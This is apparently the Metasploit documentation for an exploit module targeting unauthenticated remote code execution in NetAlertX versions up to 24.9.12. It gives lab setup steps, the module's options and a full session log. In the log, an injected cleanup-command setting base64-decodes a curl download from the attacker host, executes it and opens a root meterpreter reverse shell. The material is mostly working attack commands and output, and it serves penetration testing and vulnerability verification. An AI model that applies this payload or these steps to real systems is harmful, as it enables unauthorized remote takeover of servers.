## Vulnerable Application

An attacker can update NetAlertX settings with no authentication, which results in RCE.

The vulnerability affects:

    * v23.01.14 <= NetAlertX <= v24.9.12

This module was successfully tested on:

    * NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04


### Installation

1. `docker pull jokobsk/netalertx:24.9.12`

2. docker run
```bash
docker run --rm --network=host \
  -v /tmp/netalertx:/app/config \
  -v /tmp/netalertx:/app/db \
  -e TZ=Europe/Berlin \
  -e PORT=20211 \
  jokobsk/netalertx:24.9.12
```


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter


## Options
### WAIT (required)
Wait time (seconds) for the payload to be set. Default is `75`.

### CLEANUP
Restore DBCLNP_CMD to original value after execution. Default is `true`.


## Scenarios
```
msf > use exploit/linux/http/netalertx_rce_cve_2024_46506
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/netalertx_rce_cve_2024_46506) > options

Module options (exploit/linux/http/netalertx_rce_cve_2024_46506):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CLEANUP  true             no        Restore DBCLNP_CMD to original value after execution
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    20211            yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host
   WAIT     75               yes       Wait time (seconds) for the payload to be set


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        true             yes       Attempt to delete the binary after execution
   FETCH_FILENAME      GXIuXvsu         no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
   LHOST               192.168.0.12     yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux Command



View the full module info with the info, or info -d command.

msf exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 24.9.12 detected.
[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'.
[*] Waiting settings really updated...
[*] Sending stage (3045380 bytes) to 192.168.56.17
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900
[*] Added the payload to the queue. Waiting for the payload to run...
[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.56.17
OS           :  (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```
